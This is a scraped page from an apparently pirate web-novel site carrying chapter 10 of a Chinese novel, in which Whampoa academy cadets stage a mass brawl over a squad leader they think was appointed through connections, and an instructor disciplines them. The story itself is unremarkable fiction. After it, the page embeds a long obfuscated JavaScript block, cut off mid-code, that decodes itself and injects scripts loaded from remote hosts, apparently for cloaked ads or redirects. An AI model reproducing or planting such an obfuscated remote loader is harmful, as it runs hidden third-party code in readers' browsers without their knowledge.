首页
第10章 热血高校
返回
关灯 护眼:关 字号:小

第10章 热血高校

章节报错(免登陆)

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    第10章热血高校(第1/2页)
    月底考核的成绩贴出来那天,操场上围满了人。
    陆诚挤进去看了一眼。
    射击,四十二环,全班第三。刺枪,良好,全班第二。越野跑,第十三名,全班第一。综合成绩,全班第二。
    他站在公告栏前面看了一会儿,转身走了。旁边有人议论,声音不大,但能听见。有人说:“九班那个北大来的,考得不错啊。”有人说:“练出来的,人家天天加练,你没看见?”
    李奇亨站在公告栏前面,脸色不太好。他的成绩位列前茅,但陆诚的进步太快了——上个月还是倒数,这个月就到了中上游。再练一个月,说不定就追上他了。
    他没说话,转身走了。
    食堂里,陆诚端着碗坐到九班的位置上。谢晋元坐在他旁边,班里其他人围过来,有的坐他旁边,有的坐对面。
    “班长,你考了全班第二?”
    “嗯。”
    “牛啊,上个月还是倒数。”
    陆诚没说话,低头吃饭。旁边桌是三班的人,李奇亨坐在那儿,往这边看了一眼。
    吃完饭,陆诚端着碗去水池边洗。李奇亨也在那儿,正在刷碗。看见陆诚过来,往旁边让了一步。陆诚把碗冲了冲,拧干布擦干,转身走了。从头到尾没看他一眼。李奇亨站在水池边,攥着碗,指节发白。
    晚上下操后,三班的宿舍里,几个人围在一起。煤油灯的火苗被窗缝里钻进来的风吹得一晃一晃,把墙上的人影扯得变了形。
    李奇亨坐在床边,绑腿解了一半,攥在手里没动。
    “你们看见今天陆诚那个样子没有?”他声音不大,但宿舍里的人都听见了。
    有人说:“看见了,人家现在厉害了,不把咱们放在眼里。”
    有人说:“考得好,当然得意。”
    李奇亨把绑腿用力一拽。“他得意什么?上个月还是倒数,练了几天就不知道自己姓什么了?你们知道他是怎么进来的吗?”
    宿舍里安静了一瞬。有人小声说:“听说有蔡元培的推荐信。”
    “不止。”李奇亨冷笑一声,“他哥哥陆镇,教导团的,跟廖仲恺那边走得近。他爹是江西的大商人,南北两头做生意。人家进黄埔,是有人铺路的。”
    他把绑腿扔在床板上,站起来走了两步。煤油灯的光打在他脸上,颧骨上的阴影一跳一跳的。
    “咱们这些人,有的是从湖南走过来的,有的是从湖北逃出来的,有的是扔了店铺扔了地来的。为什么来?因为信孙先生的主义,信黄埔能救国救民。千辛万苦考进来,以为这里是讲本事的地方。”
    他转过头,看着屋里的人。
    “结果呢?一个北大来的少爷,训练倒数,射击脱靶,跑步掉队,转个身都转不利索——他当班长。凭什么?凭他有个好爹?凭他哥认识廖仲恺?你们服不服?”
    没人说话。但有人低下了头,有人攥紧了拳头。窗外的风吹进来,煤油灯的火苗剧烈地晃了晃,墙上的影子像一群躁动的兽。
    角落里有人开口了,声音闷闷的:“我跑了三百里路来考黄埔。脚走烂了,鞋底磨穿了。考试那天脚还在流血。我没靠谁,就靠自己。”
    说话的人叫徐彪,三班年纪最小的,平时话不多。他坐在最暗的角落里,脸藏在阴影里,看不清表情。
    李奇亨看着他,顿了顿。
    “徐彪说得对。咱们不靠谁,就靠自己。可人家不靠自己也能当班长。这就是我不服的地方。”
    他深吸一口气。
    “这一切是因为他没本事。黄埔是救国救民的地方,不是镀金的地方。他没本事还占着班长的位置,丢人。”
    刘振翮推门进来。他是二班班长,和三班住隔壁。他站在门口,手里还捏着擦枪的布条。
    “振翮,你怎么看?”李奇亨问。
    刘振翮走进来,在床边坐下,把布条慢慢缠在手指上又松开,缠上又松开。沉默了一会儿,才开口。
    “陆诚这个人,确实有点狂。吃饭的时候从你旁边过,看都不看你一眼。成绩贴出来,连个招呼都不打。”
    他停了一下,像在斟酌措辞。手指上的布条又缠了一圈。
    “但这不是最要紧的。要紧的是他那个做派——上面一句话,他就当了班长。咱们摸爬滚打拼出来的成绩,在他那儿就是一张推荐信的事。黄埔讲什么?讲亲爱精诚,讲选贤任能。他没本事还当了班长,这个头一开,以后谁还信黄埔的规矩?”
    李奇亨站起来,在屋里走了两步。
    “我打算教训教训他。让他知道,黄埔不是北大,不是有背景就能横着走的。没本事,就老老实实当个大头兵,别占着班长的位置耽误别人。”
    刘振翮抬起头看着他。“你打算怎么办?”
    “晚上操场堵他。他每天晚上都去器械区加练,一个人。”
    刘振翮想了想,站起来。“我帮你。我们班出几个人。黄埔的规矩不能坏。”
    李奇亨点点头。“行。一班那边我也打了招呼,有几个看他不顺眼的。不为别的,就为给黄埔立个规矩——没本事的,靠关系进来的,别想在这儿混。”
    周明远从厕所回来的时候,听见三班宿舍里有动静。门没关严,透出一条缝。他放慢脚步,听见里面有人说“晚上操场”“教训教训”“陆诚”这几个字。他没停,走过去,回到九班宿舍。
    九班的宿舍里,陆诚正在擦枪。谢晋元坐在他对面,也在擦枪。枪油的气味在空气里弥漫,涩而干净。
    周明远走到他旁边,蹲下来,压低声音。
    “班长,三班的人晚上要找你麻烦。”
    陆诚擦枪的手停了一下。“谁说的?”
    “我听见的。李奇亨在宿舍里说的,要带人在操场堵你。刘振翮也在,说他们班也出人。还有一班的。”
    陆诚没说话,继续擦枪。通条从枪管里抽出来,带出一团黑色的油泥。他用布擦了擦通条,换了一块干净的布,重新穿进去。
    班里其他人也听见了,都围过来。
    “班长,他们人多,你一个人去吃亏。”
    “叫上咱们班的人一起去。”
    陆诚把枪放下,看着他们。九班十几个人,都看着他。谢晋元也看着他,没说话,但把枪放下了。
    “你们想去?”他问。
    刘安国笑了笑:“班长的事就是班里的事。”
    有人说:“不能让三班的人欺负到头上来。”
    谢晋元开口了。他声音不大,但很清楚。“班长,我跟你去。”
    陆诚看着他们,沉默了一会儿。窗外有风声,远处有江声,屋里有煤油灯燃烧的细微滋滋声。
    他想起在北平的时候,学生们也闹,也打架,但那是为了主义,为了口号。这里不一样。这些人要为他打架,不是什么主义,不是什么口号——就是因为他是他们的班长。
    他心里涌上一股说不清的东西,堵在喉咙里,咽不下去也吐不出来。他想说很多话,最后只说了一句。
    “行。但别带家伙,空手去。打归打,别出事。”
    他站起来,走到四班的宿舍。林骠正躺在床上,手里捧着一本书,嚼着黄豆。看见他进来,坐起来,把书扣在床板上。
    “有事?”
    “晚上有人要找我麻烦。三班李奇亨,二班刘振翮,还有一班的人。”
    林骠看着他。“多少人?”
    “不知道。估计不少。”
    林骠把手里剩下的几颗黄豆塞进口袋,站起来。
    “我们班跟你去。”
    陆诚愣了一下。“你们班?”
    林骠走到门口,喊了一声:“四班的,都过来。”
    四班的人围过来。林骠看着他们,语气平淡,像在宣布明天出操的科目。
    “晚上九班要跟三班干架。我去帮忙。你们谁去?”
    四班的人互相看了看。
    “班长去我就去。”
    “早就看三班不顺眼了。”
    林骠点点头,看着陆诚。“够了。”
    消息传开了。一营的宿舍楼里,每个人都在说这件事。九班和三班要干架,四班帮九班,二班帮三班。两边都有支持的,但和一般的打架不同——这次两边都觉得自己有理。
    走廊里有人低声议论,声音被风吹得断断续续。
    “李奇亨说陆诚是靠关系进来的,成绩那么差还当班长,黄埔不该有这种人。”
    “可陆诚这个月考了全班第二啊。”
    “那是练出来的。练是他练的,可班长是上面给的。李奇亨不服的就是这个。”
    “陆诚那边人不少,林骠带着四班过去了。”
    “林骠?他凑什么热闹。”
    “他之前跟陆诚一个宿舍的。”
    胡连推门进来。他是六班的,和陆诚关系好。他站在门口,看着陆诚,脸上挂着一种说不清是兴奋还是认真的表情。
    “听说你要打架?”
    陆诚点头。
    胡连笑了。“我帮你叫人。五班六班都有看三班不顺眼的。”他转身走了。
    张灵辅也来了。他站在门口推了推眼镜,镜片反射着煤油灯的光,看不清他的眼神。
    “七班有几个,我跟他们说了。到时候去帮你站场子。”
    陆诚看着他。“你怎么说的?”
    张灵辅嘴角微微动了一下,像是笑又不太像。
    “我说,九班那个陆诚,上个月脱靶,这个月四十二环。这样的进步,我看得见。有人不服,那太小家子气了,那么针对人家干嘛。”
    “谢了。”他说。声音有点哑。
    胡连摆摆手。“谢什么,又不是没打过架。”
    熄灯前一刻钟,周明远跑过来。
    “班长,他们出发了。李奇亨带了十几个人,往操场走了。刘振翮带着二班的人跟在后面。一班的人也去了。”
    陆诚站起来。“走。”
    九班的人跟着他走出宿舍。谢晋元走在他旁边,手里什么都没拿,步子很稳,像平时去上操。
    走廊里,林骠带着四班的人已经在等了。他靠着墙站着,手里捏着一颗黄豆,慢悠悠地塞进嘴里。看见陆诚出来,什么也没说,只是把黄豆嚼得咯嘣响了一声。
    胡连带著五班六班的人站在楼梯口。张灵辅带着七班的人站在另一边。
    五六十个人,黑压压一片,往操场走。没人说话,脚步声在走廊里回响,像远处闷闷的鼓声。
    操场东边器械区,李奇亨带着人站在那里。月光从云缝里漏出来,照在单杠和双杠上,铁管反射着冷冷的光。他后面站着三班的人,刘振翮带着二班的人站在旁边,一班的人站在另一边。也有四五十个人。
    他看见陆诚这边的人,愣了一下。他没想到陆诚能叫来这么多人。
    (本章未完,请点击下一页继续阅读)第10章热血高校(第2/2页)
    两边的人站定了。器械区黑压压全是人,五六十人对五六十人。月光从云缝里漏出来,照在那些年轻的脸上。没人说话。只有风声,和远处珠江的水声。
    李奇亨先开口了。“陆诚,你人缘倒是不错。”
    陆诚看着他。“你也行啊。”
    李奇亨往前走了一步。月光照在他脸上,把他颧骨上的阴影拉得很深。他说话的声音不大,但在安静的操场上,每个人都听得见。
    “陆诚,我今天找你不是私仇。我问你一句话——你来黄埔,是靠什么进来的?”
    陆诚看着他,没说话。
    “你不答,我替你答。你爹是江西的大商人,南北两头跑生意。你哥陆镇,教导团的,跟廖仲恺有关系。你有蔡元培的推荐信。你进黄埔,上面一句话就进来了。”
    他停了一下,声音提高了一点。
    “可你看看你刚来的时候是什么样子?跑步掉队,射击脱靶,刺杀考核丙等。这样的人当班长,凭什么?
    我们这些人,有的是从湖南走路来的,有的是从湖北逃难来的,有的是扔了家里的铺子来的。千辛万苦考进黄埔,因为信孙先生,信黄埔能救国。
    结果你来了——有背景,有关系,没本事。你这样的人当班长,黄埔还是黄埔吗?”
    他身后的人往前涌了一步。月光照着他们的脸,每张脸上都带着不服。
    陆诚看着他,沉默了几秒。然后开口了,声音不大,但很稳。
    “你说得对。我刚来的时候,确实不行。跑步掉队,射击脱靶,刺杀丙等。你说了实话。”
    他往前走了半步。
    “但我也问你一句——你刚来的时候,射击是多少环?”
    李奇亨没说话。
    “我替你说。你刚来的时候也脱过靶,后来你练出来了,练成了全连前三。你是练出来的。”
    他的声音忽然提高了。
    “那我呢?我这个月四十环,全班第三,越野跑全班第一,综合成绩全班第二。我是练出来的还是靠关系来的?你天天看见我在操场上加练,看见我比别人早起一个时辰,看见我晚上打着手电筒看教材。你看见了,还要说我没本事、靠关系——那你打的不是我,你打的是你自己天天看见的东西。”
    他顿了顿,声音又落下来,像石子沉进水里。
    “黄埔是救国救民的地方,你说得对。但救国救民,靠的不是谁比谁跑得快、谁比谁打得准。是靠人。靠每一个愿意练、愿意学、愿意拼命的人。我今天站在这里,不是来跟你讲关系的,是来讲本事的。”
    他身后的人没有往前涌,但站得更直了。林骠嚼黄豆的声音停了。谢晋元站在他左后方两步的位置,一直没动。
    李奇亨看着他。脸上的表情变了——不是不服,是某种更复杂的东西。像是被人说中了心事,又像是第一次认真看这个人。
    他沉默了很久。
    然后他说:“你说得对。”
    声音不大,但每个人都听见了。
    “但今天,”他把袖子往上捋了捋,“架还是要打。”
    陆诚看着他,忽然笑了一下。“那就打。”
    “打!”
    不知道谁先喊了这一声。月光底下,黑压压的人影撞在一起,像两股潮水拍上了岸。
    器械区炸开了锅。拳头砸在肉上的闷响,布鞋蹭在沙土地上的刺啦声,骂声,喊声,谁被踹翻了的闷哼——所有声音搅成一锅粥,在夜风里翻腾。尘土扬起来,裹着月光,把打架的人罩在一团灰蒙蒙的雾里。
    陆诚和李奇亨几乎是同时找到了对方。李奇亨和他般高,一拳抡过来带着风声。陆诚侧身躲过,肋骨还是被擦了一下,火辣辣的。他还了一拳,打在李奇亨肩膀上,手感像打在沙袋上。两个人扭在一起,滚到地上,谁也没占着便宜。陆诚嘴里尝到了血腥味,分不清是自己的还是对方的。
    林骠没去找李奇亨。他带着四班的人从侧面插进去,专挑三班和二班的结合部。他不动声色,一拳一个,一个三班的从后面扑上来,林骠像背后长了眼睛,侧身一让,那人扑了个空,踉跄两步,被四班的人按住了。
    打了不知道多久,有人喊了一声:“教官来了!”
    所有人都停了。
    陈教官站在器械区边上,手里提着马灯。灯光照在那些人脸上,一个一个看过去——李奇亨,刘振翮,陆诚,林骠,胡连,张灵辅,还有那些躺在地上、蹲在地上、靠在器械上的人。五六十个人,站着的,坐着的,趴着的,都有。
    “都给我站好了。”陈教官说。声音不大,但所有人都站直了。
    他看着李奇亨。“三班班长,带头打架。好的很啊。”
    看着刘振翮。“二班班长,又一个。”
    看着陆诚。“九班班长,北大的还打上架了啊。”
    看着林骠。“四班班长,看着不吭声,打架倒是往前凑哈。”
    他的目光从一张脸移到另一张脸,看得每个人都不自觉地绷紧了后背。
    “好家伙。黄埔四期,一仗没打过,自己人先打起来了。一百多号人,半夜在操场上打群架——你们是来革命的还是来当土匪的?”
    没人说话。操场上安静得能听见远处珠江的水声,和不知谁脸上的血滴在地上的声音,吧嗒,吧嗒。
    陈教官沉默了很久。然后他把马灯放在地上,光从下往上照着他的脸,把他的表情照得明明暗暗。
    “为什么打?”他问。
    李奇亨开口了。脸上的血还没擦,说话的时候嘴角又裂开了一点。
    “报告教官。是我起的头。我不服陆诚,觉得他没本事、靠关系当班长。我今天打他,是想给他一个教训。我有责任,跟三班其他人没关系。”
    陈教官看着他,没说话。
    陆诚也开口了。“报告教官。我也有责任。知道他们要来,没报告,带人过来了。我没躲。”
    陈教官转过头看着陆诚。“你倒是老实。”
    他又看着这两个人,看了很久。
    “李奇亨,你说陆诚没本事。这个月考核,陆诚的成绩你看见了没有?”
    李奇亨咬着嘴唇。“看见了。”
    “他练了多少天,你看见了没有?”
    “看见了。”
    “看见了你还要打?”陈教官的声音忽然拔高了,像鞭子抽在空气里,“你打的是他?你打的是你自己不去看的眼睛!黄埔教你的本事,你用来打自己人?”
    李奇亨低下头,不再说话。陈教官转向陆诚。
    “陆诚,有人说你靠关系进来的,你觉得对不对?”
    陆诚沉默了一会儿。“对。”
    陈教官看着他。
    “也不全对。”
    陈教官没说话。他把马灯又提起来,灯光从每个人的脸上扫过。血迹,淤青,撕破的军装,喘着粗气的胸口,攥紧又松开的拳头。他看了一遍,又看了一遍。
    “李奇亨,你说陆诚靠关系当班长,你倒是靠本事给我考了个第一。你的本事,我看见了。打架斗殴,寻衅滋事到是一把好手。”
    他把马灯举高了一点,光照在李奇亨脸上。
    他转过头,看着陆诚。
    “你以为你就对了?他打你,你就叫人打回去?你是班长,班长是什么?班长是带着人往前走的,不是带着人打群架的。”
    他看着所有人。
    “黄埔的规矩是什么?是亲爱精诚。你们觉得陆诚靠关系破坏了黄埔的规矩,你们就要用打架来破坏黄埔的规矩?这不是两清了,这是都坏了规矩!”
    没人说话。操场上安静了很久。陈教官把马灯放在地上,火光晃了晃。
    “你们这些人,以后是要带兵打仗的。你们在黄埔打的这一架,是你们这辈子第一个战场。对手不是敌人,是和自己一个锅里吃饭的弟兄。打完了,互相看看——他是你的敌人吗?他将来是你的战友。你们一起上战场,他要替你挡子弹的,你也要替他挡子弹的。”
    他的声音沉下来,像石头落进水底。
    “打完了,好好想想。以后上了战场,谁跟你一起冲。”
    他收了马灯,转身走了。
    “把他们压下去,全绑了!蹲一个时辰,各回各宿舍。处分的事,明天再说。”
    陈教官走了。带来的卫兵很快把他们摁在地上,陆诚他们不敢反抗。器械区安静下来。李奇亨被绑着,脸上青一块紫一块,看着陆诚。他身后的人都在看他,刘振翮也在看他。
    “李奇亨,”陆诚说,“以后别找麻烦了。”
    李奇亨没说话。他站了一会儿,卫兵把他压走了。一班二班三班的人被卫兵押着到了操场南边,器械区空了一大半。陆诚他们被绑着押到了操场北边。卫兵拿枪指着他们,让他们蹲成一个圈。
    陆诚这才看了看自己这边的人。九班的,四班的,五班的,六班的,七班的。五六十个人,有人脸上挂了彩,有人衣服撕破了。月光照在他们脸上,青一块紫一块的,但每个人都还站着,有的蹲着揉手腕,有的在检查衣服撕破的地方。
    他一个个看过去,心里不知道是什么滋味。这些人,今晚之前有的他连名字都叫不全。现在他们脸上挂着彩,蹲在冷风里,被枪指着,没有一个人抱怨。
    “谢了。”他说。声音有点哑,喉咙里像堵了什么东西。
    胡连龇牙咧嘴地揉着下巴,笑着骂:“陆诚,你欠我一顿酒。不还的话,下次打架我可不帮了。”
    有人笑出声来。笑声在安静的操场上显得特别响,卫兵喝了一声“不许笑”,但笑声还是没完全压住。
    谢晋元蹲在旁边,脸上有一块青,没说话。陆诚看着他。
    “你受伤了?”
    谢晋元摇摇头。“没事。”
    林骠蹲在最边上,被绑着的手动弹不了,他低头看了看自己的口袋,大概是想摸黄豆,但手够不着。他也就作罢了,抬头看着李奇亨他们被押走的方向。
    “他不会找麻烦了。”林骠说。
    “你怎么知道?”
    林骠没回答。过了一会儿,他忽然说:“你打得不错。嘴上的功夫,比拳脚好使。你说那些话的时候,他在听。”
    陆诚愣了一下。
    “不管怎么样,打完这一架,他们不会再用以前的眼神看你了。”林骠说完,又看了一眼自己够不着的口袋,闭上了眼睛。
    陆诚没说话。他想起李奇亨刚才那句话——“你说得对。”四个字,声音不大,但每个人都听见了。他知道这四个字的分量。不是认输,是认人。
    胡连歪着脑袋凑过来。“你笑什么?被绑着还笑。”
    “没什么。”陆诚说。他蹲在操场上,被绑着手,脸上还疼着,冷风从江面上灌过来,吹得他打了个哆嗦。但他觉得,黄埔的夜晚,好像也没那么冷了。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD 